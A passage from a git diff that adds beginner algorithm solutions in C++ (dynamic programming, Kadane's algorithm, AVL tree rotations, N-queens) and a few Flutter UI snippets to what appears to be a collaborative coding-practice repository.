maxleft = arr[left]; + else + res += maxleft-arr[left]; + + left++; + } + else + { + if(arr[right] >= maxright) + maxright = arr[right]; + else + res += maxright-arr[right]; + + right--; + } + } + return res; +} + +int main() +{ + int arr[] = {0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1}; + int n = sizeof(arr)/sizeof(arr[0]); + + cout << maxWater(arr, n); + + return 0; +} diff --git a/CPP/three-pointer.c++ b/CPP/three-pointer.c++ new file mode 100644 index 000000000..e16ad96f4 --- /dev/null +++ b/CPP/three-pointer.c++ @@ -0,0 +1,39 @@ +/*Count triplets with sum smaller than X + +Given an array arr[] of distinct integers of size N and a value sum, +the task is to find the count of triplets (i, j, k), having (i +using namespace std; + + + +long long countTriplets(long long arr[], int n, long long sum) + { + sort(arr,arr+n); + long long count=0; + long long i=0,j,k; + while(i +#include +using namespace std; + +int maxSubArraySum(int a[], int size) +{ + int max_so_far = INT_MIN, max_ending_here = 0; + + for (int i = 0; i < size; i++) + { + max_ending_here = max_ending_here + a[i]; + if (max_so_far < max_ending_here) + max_so_far = max_ending_here; + + if (max_ending_here < 0) + max_ending_here = 0; + } + return max_so_far; +} + +/*Driver program to test maxSubArraySum*/ +int main() +{ + int a[] = {-2, -3, 4, -1, -2, 1, 5, -3}; + int n = sizeof(a)/sizeof(a[0]); + int max_sum = maxSubArraySum(a, n); + cout << "Maximum contiguous sum is " << max_sum; + return 0; +} diff --git a/CPP/two_stacks_sum.cpp b/CPP/two_stacks_sum.cpp new file mode 100644 index 000000000..cdc0bd575 --- /dev/null +++ b/CPP/two_stacks_sum.cpp @@ -0,0 +1,54 @@ + +/** + * @author : abhj + * @created : Friday Oct 01, 2021 17:31:47 IST + * @filename : c.cpp + */ + +#include "bits/stdc++.h" +#define int long long int +#define mp make_pair +#define pb emplace_back +#define F first +#define S second +using vi = std::vector; +using vvi = std::vector; +using pii = std::pair; +using vpii = std::vector; +using vvpii = std::vector; +using namespace std; +const int inf = 1e18 + 10; +const int N = 2e6 + 10; +int n, m, x; +void solve() { + cin >> n >> m >> x; + vi a (n), b (m); + for (int i = 0; i < n; i++) + cin >> a[i]; + for (int i = 0; i < m; i++) + cin >> b[i]; + int sum = 0, cnt = 0, temp = 0, i = 0, j = 0; + while (i < n and sum + a[i] <= x) { + sum += a[i]; + i++; + } + cnt = i; + while (j < m and i >= 0) { + sum += b[j]; + j++; + while (sum > x and i > 0) { + i--; + sum -= a[i]; + } + if (sum <= x and i + j > cnt) + cnt = i + j; + } + cout << cnt; +} + +int32_t main() { + ios_base::sync_with_stdio (false); + cin.tie (0); + solve(); + return 0; +} diff --git a/CPP/z_function.cpp b/CPP/z_function.cpp new file mode 100644 index 000000000..203a2f67b --- /dev/null +++ b/CPP/z_function.cpp @@ -0,0 +1,35 @@ +#include +#include +#include + +using namespace std; + +int kadane(vector &a) +{ + int n=a.size(),msf=INT_MIN,meh=0; + + for(int i=0;i>n; + cout<<"\nEnter the elements of the array : "; + vector a(n); + for(int i=0;i>a[i]; + int ans=kadane(a); + cout<<"\nMaximum Sub-array sum found in the array is : "< _SplashScreenState(); +} + +class _SplashScreenState extends State { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: Center( + child: Container( + width: MediaQuery.of(context).size.width, + height: MediaQuery.of(context).size.height, + alignment: Alignment.center, + decoration: BoxDecoration( + gradient: LinearGradient( + begin: Alignment.topCenter, + end: Alignment.bottomCenter, + stops: [0.5, 0.9], + colors: [Colors.black, Colors.yellow])), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + crossAxisAlignment: CrossAxisAlignment.center, + mainAxisSize: MainAxisSize.max, + children: [ + RichText( + text: TextSpan( + text: 'App', + style: TextStyle( + color: Colors.red, + fontWeight: FontWeight.bold, + fontSize: 30.0, + ), + children: [ + TextSpan( + text: 'Name', + style: TextStyle( + color: Colors.blueAccent, + fontWeight: FontWeight.bold, + //fontSize: 30.0, + ), + ), + ]), + ), + RichText( + text: TextSpan( + text: "by ", + style: TextStyle(color: Colors.white, fontSize: 10), + children: [ + TextSpan( + text: 'Kunal Jain', + style: TextStyle( + fontFamily: GoogleFonts.poppins().fontFamily, + color: Colors.lime[50], + fontWeight: FontWeight.bold, + fontSize: 15.0, + ), + ), + ])) + ], + ), + ), + ), + ); + } +} diff --git a/DART/tabs.dart b/DART/tabs.dart new file mode 100644 index 000000000..b9ac2c74f --- /dev/null +++ b/DART/tabs.dart @@ -0,0 +1,119 @@ +// kunaljainwi/FlutterFirebaseDesigns + +late TabController _tabController; + + +@override + void initState() { + super.initState(); + + _tabController = TabController(length: 7, vsync: this); + } +@override + void dispose() { + _tabController.dispose(); + + super.dispose(); + } + +SliverAppBar( + elevation: 7, + + floating: true, + pinned: true, + + // shape: RoundedRectangleBorder( + // borderRadius: BorderRadius.only( + // bottomLeft: Radius.circular(20), + // bottomRight: Radius.circular(20))), + // backgroundColor: Colors.orange, + //leadingWidth: 50.0, + centerTitle: true, + title: SizedBox( + height: 100, + width: 200, + child: Image.asset("assets/images/9.png", + filterQuality: FilterQuality.low, fit: BoxFit.cover), + ), + + bottom: TabBar( + onTap: (value) { + showPosType = value == 0 + ? "music" + : value == 1 + ? "poem" + : value == 2 + ? "lyrics" + : value == 3 + ? "story" + : value == 4 + ? "painting" + : value == 5 + ? "sclupture" + : value == 6 + ? "digitalart" + : ""; + }, + indicatorSize: TabBarIndicatorSize.tab, + indicator: UnderlineTabIndicator( + borderSide: BorderSide( + // color: Colors.white, + width: 3)), + + indicatorPadding: + EdgeInsets.only(bottom: 10, left: 10, right: 10), + // indicator: BoxDecoration( + // //borderRadius: BorderRadius.circular(50), // Creates border + + // shape: BoxShape.rectangle, + // color: Colors.black26), + isScrollable: true, + controller: _tabController, + tabs: [ + Tab( + text: "Music", + icon: Icon(EvaIcons.music), + ), + Tab( + text: "Poem", + icon: Icon(Icons.microwave), + ), + Tab( + text: "Lyrics", + icon: Icon(Icons.library_music_sharp), + ), + Tab(text: "Story"), + Tab(text: "Painting"), + Tab(text: "Sclupture"), + Tab( + text: "Digital Art", + ) + ], + ), + + //forceElevated: true, + //automaticallyImplyLeading: false, + // + actions: [ + // CircularButton( + // icon: Icon(Icons.notifications_none), + // onPressed: () { + // Navigator.push( + // context, + // PageTransition( + // child: NotificationPage(), + // type: PageTransitionType.leftToRight)); + // ScaffoldMessenger.of(context).showSnackBar(snackBar); + // }), + + CircularButton( + icon: Icon(Icons.search), + onPressed: () { + Navigator.pushNamed(context, MyRoutes.searchRoute); + ScaffoldMessenger.of(context).showSnackBar(snackBar); + }) + ], + ), + + body: TabBarView( + controller: _tabController, diff --git a/DART/themes.dart b/DART/themes.dart new file mode 100644 index 000000000..63fc32ea5 --- /dev/null +++ b/DART/themes.dart @@ -0,0 +1,57 @@ +//kunaljainwin +import 'dart:math'; +import 'package:flutter/material.dart'; +import 'package:google_fonts/google_fonts.dart'; + +var colorList = [ + Colors.orange, + Colors.blue, + Colors.cyan, + Colors.green, + Colors.pink, + Colors.red, + Colors.brown, + Colors.deepPurple, + // Colors.grey, +]; +bool isDarkMode = false; + +class MyTheme { + static ThemeData lightTheme(BuildContext context) => ThemeData( + primarySwatch: colorList[Random().nextInt(colorList.length)], + accentColor: Colors.white, + // splashColor: Colors.transparent, + fontFamily: GoogleFonts.poppins().fontFamily, + canvasColor: Colors.white, + // highlightColor: Colors.transparent, + pageTransitionsTheme: PageTransitionsTheme( + builders: { + TargetPlatform.iOS: ZoomPageTransitionsBuilder(), + TargetPlatform.android: OpenUpwardsPageTransitionsBuilder(), + TargetPlatform.windows: OpenUpwardsPageTransitionsBuilder(), + }, + ), + appBarTheme: AppBarTheme( + elevation: 2, + iconTheme: IconThemeData( + color: Colors.white, + ), + textTheme: Theme.of(context).textTheme), + ); + + static ThemeData darkTheme(BuildContext context) => ThemeData( + primaryColor: Colors.black, + brightness: Brightness.dark, + fontFamily: GoogleFonts.poppins().fontFamily, + bottomNavigationBarTheme: + BottomNavigationBarThemeData(backgroundColor: Colors.black), + textButtonTheme: TextButtonThemeData(), + pageTransitionsTheme: PageTransitionsTheme( + builders: { + TargetPlatform.iOS: ZoomPageTransitionsBuilder(), + TargetPlatform.android: OpenUpwardsPageTransitionsBuilder(), + TargetPlatform.windows: OpenUpwardsPageTransitionsBuilder(), + }, + ), + ); +} diff --git a/DP/0_1_knapsack.cpp b/DP/0_1_knapsack.cpp new file mode 100644 index 000000000..54c8640fb --- /dev/null +++ b/DP/0_1_knapsack.cpp @@ -0,0 +1,38 @@ + #include + #include + using namespace std; + + #include "../debug.h" + +int t[1002][1002]; + +int MyKnapSack(int W, int wt[], int val[], int n){ + if(W==0 || n==0) + return 0; + + if(t[n][W] != -1) + return t[n][W]; + + if(wt[n-1]<=W) + return t[n][W] = max(val[n-1]+MyKnapSack(W-wt[n-1], wt, val, n-1), MyKnapSack(W, wt, val, n-1)); + else + return t[n][W] = MyKnapSack(W, wt, val, n-1); +} + +int knapSack(int W, int wt[], int val[], int n) { + memset(t, -1, sizeof(t)); + return MyKnapSack(W, wt, val,n); +} + +int main(){ + // freopen("../input.txt", "r", stdin); + freopen("../output.txt", "w", stdout); + freopen("../Error.txt", "w", stderr); + + int wt[] = {1,3,4,5}; + int val[] = {1,4,5,7}; + int n = sizeof(wt)/sizeof(wt[0]); + int W = 7; + + cout< +#include +using namespace std; + +#include "../debug.h" + +int BooleanParenthesization(string &s, int i, int j, bool isTrue){ + if(i > j) + return false; + if(i == j){ + if(isTrue == true) + return s[i] == 'T'; + else + return s[i] == 'F'; + } + + int ans = 0; + for(int k=i+1; k<=j-1; k+=2){ + int lT = BooleanParenthesization(s, i, k-1, true); + int lF = BooleanParenthesization(s, i, k-1, false); + int rT = BooleanParenthesization(s, k+1, j, true); + int rF = BooleanParenthesization(s, k+1, j, false); + + if(s[k] == '&'){ + if(isTrue == true) + ans += lT*rT; + else + ans += (lT*rF + lF*rT + lF*lF); + } + else if(s[k] == '|'){ + if(isTrue == true) + ans += (lT*rT + lT*rF + lF*rT); + else + ans += lF*rF; + } + else if(s[k] == '^'){ + if(isTrue == true) + ans += (lT*rF + lF*rT); + else + ans += (lT*rT + lF*rF); + } + } + return ans; +} + +int main(){ + // freopen("../input.txt", "r", stdin); + freopen("../output.txt", "w", stdout); + freopen("../Error.txt", "w", stderr); + + string s = "T^F&T"; // o/p: 3 + // s = "T|T&F^T"; // o/p: 4 + // s = "T|T&F^T"; // o/p: 4 + // s = "T^F|F"; // o/p: 2 + cout< +#include +using namespace std; + +#include "../debug.h" + +// SC: O(n^2) +int CoinChange1(vector &v, int sum){ + int n = v.size(); + + int dp[n+1][sum+1]={0}; + + for(int i=0; i &v, int sum){ + int n = v.size(); + + int dp[sum+1] = {0}; + dp[0] = 1; + + for(int i=1; i v = {1,2,3}; + int sum = 5; + + v = {2,5,3,6}; + sum = 10; + + cout< +#include +using namespace std; + +int editDistance(string s1, string s2){ + int m=s1.length(); + int n=s2.length(); + + int **dp=new int*[m+1]; + for(int i=0;i<=m;i++) + { + dp[i]=new int[n+1]; + } + for(int i=0;i<=m;i++) + { + dp[i][0]=i; + } + for(int i=0;i<=n;i++) + { + dp[0][i]=i; + } + for(int i=1;i<=m;i++) + { + for(int j=1;j<=n;j++) + { + if(s1[m-i]==s2[n-j]) + dp[i][j]=dp[i-1][j-1]; + else + { + dp[i][j]=1+min(dp[i][j-1],min(dp[i-1][j-1],dp[i-1][j])); + } + } + } + return dp[m][n]; +} + +int main(){ + string s1, s2; + cout<<"Enter first string - "; + cin>>s1; + cout<<"Enter second string - "; + cin>>s2; + cout<<"Edit Distance is - "< +using namespace std; +int main() +{ + int n,m;cin>>n>>m; + int arr[n][m]; + + + for(int i=0;i>arr[i][j]; + } + } + + int **dp; + dp=new int*[n]; + for(int i=0;i=0;j--) + { + for(int i=n-1;i>=0;i--) + { + if(j==m-1) + { + dp[i][j]=arr[i][j]; + } + else if(i==n-1) + { + dp[i][j]=arr[i][j]+max(dp[i][j+1],dp[i-1][j+1]); + } + else if(i==0) + { + dp[i][j]=arr[i][j]+max(dp[i][j+1],dp[i+1][j+1]); + + } + else + { + + dp[i][j]=arr[i][j]+max(dp[i][j+1],max(dp[i+1][j+1],dp[i-1][j+1])); + + } + } + } + + int b=dp[0][0]; + for(int i=1;i +using namespace std; + +int maxSum(int a[], int n){ + int ma = INT_MIN; + int max_th = 0; + for(int i=0; ima) + ma = max_th; + if(max_th<0) + max_th = 0; + } + return ma; +} +int main(){ + int n; + cin>>n; + int a[n]; + for(int i=0; i>a[i]; + int sum= maxSum(a, n); + cout<<"Sum: "< +#include +#include +using namespace std; +long int size[1000]; +long int price[1000]; +long long dp[1001][1001]; +int knapsack(int n,int c){ + //base case + if(n==0 || c==0){ + return 0; + } + //look up + if(dp[n][c]!=-1){ + return dp[n][c]; + } + //rec case + int op1,op2; + op1=op2=INT_MIN; + if(c>=size[n-1]){ + op1=price[n-1]+knapsack(n-1,c-size[n-1]); //including the nth item + } + op2=knapsack(n-1,c); //excluding the nth item + dp[n][c]=max(op1,op2); + return dp[n][c]; +} + +int main() { + int n,s; + cin>>n>>s; + for(int i=0;i>size[i]; + } + for(int i=0;i>price[i]; + } + memset(dp,-1,sizeof dp); + for(int i=0;i<=n;i++){ + dp[i][0]=0; + } + for(int j=0;j<=s;j++){ + dp[0][j]=0; + } + cout< +using namespace std; + +int LCSubStr(string X, string Y) +{ + + int m = X.length(); + int n = Y.length(); + + int result = 0; + + + int len[2][n]; + + + int currRow = 0; + + for (int i = 0; i <= m; i++) { + for (int j = 0; j <= n; j++) { + if (i == 0 || j == 0) { + len[currRow][j] = 0; + } + else if (X[i - 1] == Y[j - 1]) { + len[currRow][j] = len[1 - currRow][j - 1] + 1; + result = max(result, len[currRow][j]); + } + else { + len[currRow][j] = 0; + } + } + + currRow = 1 - currRow; + } + + return result; +} + +int main() +{ + string X = "GeeksforGeeks"; + string Y = "GeeksQuiz"; + + cout << LCSubStr(X, Y); + return 0; +} diff --git a/DP/longestsubstringdp.c++ b/DP/longestsubstringdp.c++ new file mode 100644 index 000000000..14086e6e3 --- /dev/null +++ b/DP/longestsubstringdp.c++ @@ -0,0 +1,48 @@ +/*Longest Common Substring +Given two strings ‘X’ and ‘Y’, find the length of longest common substring. + Expected space complexity is linear.*/ +#include +using namespace std; + +int LCSubStr(string X, string Y) +{ + + int m = X.length(); + int n = Y.length(); + + int result = 0; + + + int len[2][n]; + + + int currRow = 0; + + for (int i = 0; i <= m; i++) { + for (int j = 0; j <= n; j++) { + if (i == 0 || j == 0) { + len[currRow][j] = 0; + } + else if (X[i - 1] == Y[j - 1]) { + len[currRow][j] = len[1 - currRow][j - 1] + 1; + result = max(result, len[currRow][j]); + } + else { + len[currRow][j] = 0; + } + } + + currRow = 1 - currRow; + } + + return result; +} + +int main() +{ + string X = "GeeksforGeeks"; + string Y = "GeeksQuiz"; + + cout << LCSubStr(X, Y); + return 0; +} diff --git a/DP/min_path_sum.cpp b/DP/min_path_sum.cpp new file mode 100644 index 000000000..64fcb028a --- /dev/null +++ b/DP/min_path_sum.cpp @@ -0,0 +1,63 @@ +/* +Given a n x m grid filled with non-negative numbers, find a path from top left to bottom right, which minimizes the sum of all numbers along its path. + +Note: You can only move either down or right at any point in time. + +Input: grid = [[1,3,1],[1,5,1],[4,2,1]] +Output: 7 +Explanation: Because the path 1 → 3 → 1 → 1 → 1 minimizes the sum. + + +*/ +#include +using namespace std; +int dp[202][202]; +int minPathSum(vector>& grid) { + int n=grid.size(); + int m=grid[0].size(); + int dp[n][m]; + for(int i=n-1;i>=0;i--){ + for(int j=m-1;j>=0;j--){ + if(i==n-1 && j==m-1){ + dp[i][j]=grid[i][j]; + }else if(i==n-1){ + dp[i][j]=grid[i][j]+dp[i][j+1]; + } + else if(j==m-1){ + dp[i][j]=grid[i][j]+dp[i+1][j]; + } + else{ + dp[i][j]=grid[i][j]+min(dp[i+1][j],dp[i][j+1]); + } + } + } + return dp[0][0]; + + } + +int main() +{ + ios_base::sync_with_stdio(false); + cin.tie(NULL); + cout.tie(NULL); + int t; + cin >> t; + while (t--) + { + int rows,cols; + cin>>rows>>cols; + vector> grid( rows , vector (cols)); + for(int i=0;i> grid[i][j]; + } + } + cout << minPathSum(grid) << "\n"; + } +return 0; +} + + + + + diff --git a/DP/n_queens_problem.cpp b/DP/n_queens_problem.cpp new file mode 100644 index 000000000..03f42997d --- /dev/null +++ b/DP/n_queens_problem.cpp @@ -0,0 +1,65 @@ +#include +using namespace std; +bool isSafe(int board[][10], int row, int col, int n) //This function is to check whether queen can be placed safely or not +{ + for(int i=0;i=0 && j>=0;i--,j--) + { + if(board[i][j] ==1) + { + return false; + } + } + for(int i=row,j=col;i=0;i++,j--) + { + if(board[i][j] ==1) + { + return false; + } + } + return true; +} +bool nQueen(int board[][10], int col, int n) +{ + if(col>=n) + { + for(int i=0;i>n; + bool check = nQueen(board,0,n); //function calling + if(check == false) + cout<<-1; + return 0; +} diff --git a/DP/unique-paths.cpp b/DP/unique-paths.cpp new file mode 100644 index 000000000..07f299be2 --- /dev/null +++ b/DP/unique-paths.cpp @@ -0,0 +1,51 @@ +#include +using namespace std; + +// PROBLEM LINK: https://leetcode.com/problems/unique-paths/ + + int uniquePaths(int m, int n) { + vector< vector>dp(m,vector(n)); + for(int i = 0;i=0;i--){ + for(int j = n-2;j>=0;j--){ + dp[i][j]= dp[i+1][j] + dp[i][j+1]; + } + } + + + return dp[0][0]; + } + +int main(){ + + int n; + int m; + n = 3; + n = 2; + //unique paths hsould be 3 + //From the top-left corner, there are a total of 3 ways to reach the bottom-right corner: + //1. Right -> Down -> Down + //2. Down -> Down -> Right + //3. Down -> Right -> Down + + cout< + +using namespace std; + +class Node { +public: + Node* lchild; + int data; + Node* rchild; + int height; +}; + +class AVL{ +public: + Node* root; + + AVL(){ root = nullptr; } + + // Helper methods for inserting + int NodeHeight(Node* p); + int BalanceFactor(Node* p); + Node* LLRotation(Node* p); + Node* RRRotation(Node* p); + Node* LRRotation(Node* p); + Node* RLRotation(Node* p); + + // Insert + Node* rInsert(Node* p, int key); + + // Traversal + void Inorder(Node* p); + void Inorder(){ Inorder(root); } + Node* getRoot(){ return root; } +}; + +int AVL::NodeHeight(Node *p) { + int hl; + int hr; + + hl = (p && p->lchild) ? p->lchild->height : 0; + hr = (p && p->rchild) ? p->rchild->height : 0; + + return hl > hr ? hl + 1 : hr + 1; +} + +int AVL::BalanceFactor(Node *p) { + int hl; + int hr; + + hl = (p && p->lchild) ? p->lchild->height : 0; + hr = (p && p->rchild) ? p->rchild->height : 0; + + return hl - hr; +} + +Node* AVL::LLRotation(Node *p) { + Node* pl = p->lchild; + Node* plr = pl->rchild; + + pl->rchild = p; + p->lchild = plr; + + // Update height + p->height = NodeHeight(p); + pl->height = NodeHeight(pl); + + // Update root + if (root == p){ + root = pl; + } + return pl; +} + +Node* AVL::RRRotation(Node *p) { + Node* pr = p->rchild; + Node* prl = pr->lchild; + + pr->lchild = p; + p->rchild = prl; + + // Update height + p->height = NodeHeight(p); + pr->height = NodeHeight(pr); + + // Update root + if (root == p){ + root = pr; + } + return pr; +} + +Node* AVL::LRRotation(Node *p) { + return nullptr; +} + +Node* AVL::RLRotation(Node *p) { + return nullptr; +} + +Node* AVL::rInsert(Node *p, int key) { + Node* t; + if (p == nullptr){ + t = new Node; + t->data = key; + t->lchild = nullptr; + t->rchild = nullptr; + t->height = 1; // Starting height from 1 onwards instead of 0 + return t; + } + + if (key < p->data){ + p->lchild = rInsert(p->lchild, key); + } else if (key > p->data){ + p->rchild = rInsert(p->rchild, key); + } + + // Update height + p->height = NodeHeight(p); + + // Balance Factor and Rotation + if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 1) { + return LLRotation(p); + } else if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == -1){ + return LRRotation(p); + } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1){ + return RRRotation(p); + } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 1){ + return RLRotation(p); + } + + return p; +} + +void AVL::Inorder(Node *p) { + if (p){ + Inorder(p->lchild); + cout << p->data << ", " << flush; + Inorder(p->rchild); + } +} + + +int main() { + + // LL Rotation + AVL tll; + tll.root = tll.rInsert(tll.root, 30); + tll.root = tll.rInsert(tll.root, 20); + tll.root = tll.rInsert(tll.root, 10); + + tll.Inorder(); + cout << endl; + + // RR Rotation + AVL trr; + trr.root = trr.rInsert(trr.root, 10); + trr.root = trr.rInsert(trr.root, 20); + trr.root = trr.rInsert(trr.root, 30); + + trr.Inorder(); + cout << endl; + + return 0; +} \ No newline at end of file diff --git a/DSA/AVL Trees/301.DeletionfromAVLTreeWithRotationC++ b/DSA/AVL Trees/301.DeletionfromAVLTreeWithRotationC++ new file mode 100644 index 000000000..1347b9862 Binary files /dev/null and b/DSA/AVL Trees/301.DeletionfromAVLTreeWithRotationC++ differ diff --git a/DSA/AVL Trees/301.DeletionfromAVLTreeWithRotationC++.cpp b/DSA/AVL Trees/301.DeletionfromAVLTreeWithRotationC++.cpp new file mode 100644 index 000000000..6aa6eb558 --- /dev/null +++ b/DSA/AVL Trees/301.DeletionfromAVLTreeWithRotationC++.cpp @@ -0,0 +1,267 @@ +#include + +using namespace std; + +class Node { +public: + Node* lchild; + int data; + Node* rchild; + int height; +}; + +class AVL{ +public: + Node* root; + + AVL(){ root = nullptr; } + + // Helper methods for inserting/deleting + int NodeHeight(Node* p); + int BalanceFactor(Node* p); + Node* LLRotation(Node* p); + Node* RRRotation(Node* p); + Node* LRRotation(Node* p); + Node* RLRotation(Node* p); + Node* InPre(Node* p); + Node* InSucc(Node* p); + + // Insert + Node* rInsert(Node* p, int key); + + // Traversal + void Inorder(Node* p); + void Inorder(){ Inorder(root); } + Node* getRoot(){ return root; } + + // Delete + Node* Delete(Node* p, int key); +}; + +int AVL::NodeHeight(Node *p) { + int hl; + int hr; + + hl = (p && p->lchild) ? p->lchild->height : 0; + hr = (p && p->rchild) ? p->rchild->height : 0; + + return hl > hr ? hl + 1 : hr + 1; +} + +int AVL::BalanceFactor(Node *p) { + int hl; + int hr; + + hl = (p && p->lchild) ? p->lchild->height : 0; + hr = (p && p->rchild) ? p->rchild->height : 0; + + return hl - hr; +} + +Node* AVL::LLRotation(Node *p) { + Node* pl = p->lchild; + Node* plr = pl->rchild; + + pl->rchild = p; + p->lchild = plr; + + // Update height + p->height = NodeHeight(p); + pl->height = NodeHeight(pl); + + // Update root + if (root == p){ + root = pl; + } + return pl; +} + +Node* AVL::RRRotation(Node *p) { + Node* pr = p->rchild; + Node* prl = pr->lchild; + + pr->lchild = p; + p->rchild = prl; + + // Update height + p->height = NodeHeight(p); + pr->height = NodeHeight(pr); + + // Update root + if (root == p){ + root = pr; + } + return pr; +} + +Node* AVL::LRRotation(Node *p) { + Node* pl = p->lchild; + Node* plr = pl->rchild; + + pl->rchild = plr->lchild; + p->lchild = plr->rchild; + + plr->lchild = pl; + plr->rchild = p; + + // Update height + pl->height = NodeHeight(pl); + p->height = NodeHeight(p); + plr->height = NodeHeight(plr); + + // Update root + if (p == root){ + root = plr; + } + return plr; +} + +Node* AVL::RLRotation(Node *p) { + Node* pr = p->rchild; + Node* prl = pr->lchild; + + pr->lchild = prl->rchild; + p->rchild = prl->lchild; + + prl->rchild = pr; + prl->lchild = p; + + // Update height + pr->height = NodeHeight(pr); + p->height = NodeHeight(p); + prl->height = NodeHeight(prl); + + // Update root + if (root == p){ + root = prl; + } + return prl; +} + +Node* AVL::InPre(Node *p) { + while (p && p->rchild != nullptr){ + p = p->rchild; + } + return p; +} + +Node* AVL::InSucc(Node *p) { + while (p && p->lchild != nullptr){ + p = p->lchild; + } + return p; +} + +Node* AVL::rInsert(Node *p, int key) { + Node* t; + if (p == nullptr){ + t = new Node; + t->data = key; + t->lchild = nullptr; + t->rchild = nullptr; + t->height = 1; // Starting height from 1 onwards instead of 0 + return t; + } + + if (key < p->data){ + p->lchild = rInsert(p->lchild, key); + } else if (key > p->data){ + p->rchild = rInsert(p->rchild, key); + } + + // Update height + p->height = NodeHeight(p); + + // Balance Factor and Rotation + if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 1) { + return LLRotation(p); + } else if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == -1){ + return LRRotation(p); + } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1){ + return RRRotation(p); + } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 1){ + return RLRotation(p); + } + + return p; +} + +void AVL::Inorder(Node *p) { + if (p){ + Inorder(p->lchild); + cout << p->data << ", " << flush; + Inorder(p->rchild); + } +} + +Node* AVL::Delete(Node *p, int key) { + if (p == nullptr){ + return nullptr; + } + + if (p->lchild == nullptr && p->rchild == nullptr){ + if (p == root){ + root = nullptr; + } + delete p; + return nullptr; + } + + if (key < p->data){ + p->lchild = Delete(p->lchild, key); + } else if (key > p->data){ + p->rchild = Delete(p->rchild, key); + } else { + Node* q; + if (NodeHeight(p->lchild) > NodeHeight(p->rchild)){ + q = InPre(p->lchild); + p->data = q->data; + p->lchild = Delete(p->lchild, q->data); + } else { + q = InSucc(p->rchild); + p->data = q->data; + p->rchild = Delete(p->rchild, q->data); + } + } + + // Update height + p->height = NodeHeight(p); + + // Balance Factor and Rotation + if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 1) { // L1 Rotation + return LLRotation(p); + } else if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == -1){ // L-1 Rotation + return LRRotation(p); + } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1){ // R-1 Rotation + return RRRotation(p); + } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 1){ // R1 Rotation + return RLRotation(p); + } else if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 0){ // L0 Rotation + return LLRotation(p); + } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 0){ // R0 Rotation + return RRRotation(p); + } + + return p; +} + + +int main() { + + AVL tree; + + int A[] = {10, 20, 30, 25, 28, 27, 5}; + for (int i=0; i + +using namespace std; + +class Node { +public: + Node* lchild; + int data; + Node* rchild; + int height; +}; + +class AVL{ +public: + Node* root; + + AVL(){ root = nullptr; } + + // Helper methods for inserting + int NodeHeight(Node* p); + int BalanceFactor(Node* p); + Node* LLRotation(Node* p); + Node* RRRotation(Node* p); + Node* LRRotation(Node* p); + Node* RLRotation(Node* p); + + // Insert + Node* rInsert(Node* p, int key); + + // Traversal + void Inorder(Node* p); + void Inorder(){ Inorder(root); } + Node* getRoot(){ return root; } +}; + +int AVL::NodeHeight(Node *p) { + int hl; + int hr; + + hl = (p && p->lchild) ? p->lchild->height : 0; + hr = (p && p->rchild) ? p->rchild->height : 0; + + return hl > hr ? hl + 1 : hr + 1; +} + +int AVL::BalanceFactor(Node *p) { + int hl; + int hr; + + hl = (p && p->lchild) ? p->lchild->height : 0; + hr = (p && p->rchild) ? p->rchild->height : 0; + + return hl - hr; +} + +Node* AVL::LLRotation(Node *p) { + Node* pl = p->lchild; + Node* plr = pl->rchild; + + pl->rchild = p; + p->lchild = plr; + + // Update height + p->height = NodeHeight(p); + pl->height = NodeHeight(pl); + + // Update root + if (root == p){ + root = pl; + } + return pl; +} + +Node* AVL::RRRotation(Node *p) { + Node* pr = p->rchild; + Node* prl = pr->lchild; + + pr->lchild = p; + p->rchild = prl; + + // Update height + p->height = NodeHeight(p); + pr->height = NodeHeight(pr); + + // Update root + if (root == p){ + root = pr; + } + return pr; +} + +Node* AVL::LRRotation(Node *p) { + return nullptr; +} + +Node* AVL::RLRotation(Node *p) { + return nullptr; +} + +Node* AVL::rInsert(Node *p, int key) { + Node* t; + if (p == nullptr){ + t = new Node; + t->data = key; + t->lchild = nullptr; + t->rchild = nullptr; + t->height = 1; // Starting height from 1 onwards instead of 0 + return t; + } + + if (key < p->data){ + p->lchild = rInsert(p->lchild, key); + } else if (key > p->data){ + p->rchild = rInsert(p->rchild, key); + } + + // Update height + p->height = NodeHeight(p); + + // Balance Factor and Rotation + if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == 1) { + return LLRotation(p); + } else if (BalanceFactor(p) == 2 && BalanceFactor(p->lchild) == -1){ + return LRRotation(p); + } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == -1){ + return RRRotation(p); + } else if (BalanceFactor(p) == -2 && BalanceFactor(p->rchild) == 1){ + return RLRotation(p); + } + + return p; +} + +void AVL::Inorder(Node *p) { + if (p){ + Inorder(p->lchild); + cout << p->data << ", " << flush; + Inorder(p->rchild); + } +} + + +int main() { + + // LL Rotation + AVL tll; + tll.root = tll.rInsert(tll.root, 30); + tll.root = tll.rInsert(tll.root, 20); + tll.root = tll.rInsert(tll.root, 10); + + tll.Inorder(); + cout << endl; + + // RR Rotation + AVL trr; + trr.root = trr.rInsert(trr.root, 10); + trr.root = trr.rInsert(trr.root, 20); + trr.root = trr.rInsert(trr.root, 30); + + trr.Inorder(); + cout << endl; + + return 0; +} \ No newline at end of file diff --git a/DSA/AVL Trees/Deletion b/DSA/AVL Trees/Deletion new file mode 100644 index 000000000..efe636872 Binary files /dev/null and b/DSA/AVL Trees/Deletion differ diff --git a/DSA/AVL Trees/Deletion.cpp b/DSA/AVL Trees/Deletion.cpp new file mode 100644 index 000000000..84a76adc7 --- /dev/null +++ b/DSA/AVL Trees/Deletion.cpp @@ -0,0 +1,216 @@ +//Deletion in AVL Trees is same as that of Binary Trees, with the expansion that after +//The element is deleted, then we have to balance the trees as the LL, RR, LR, or RL-rotation +//whichever is apllicable. +//Though we can futher distinguish it into types based on the central node balance factor and 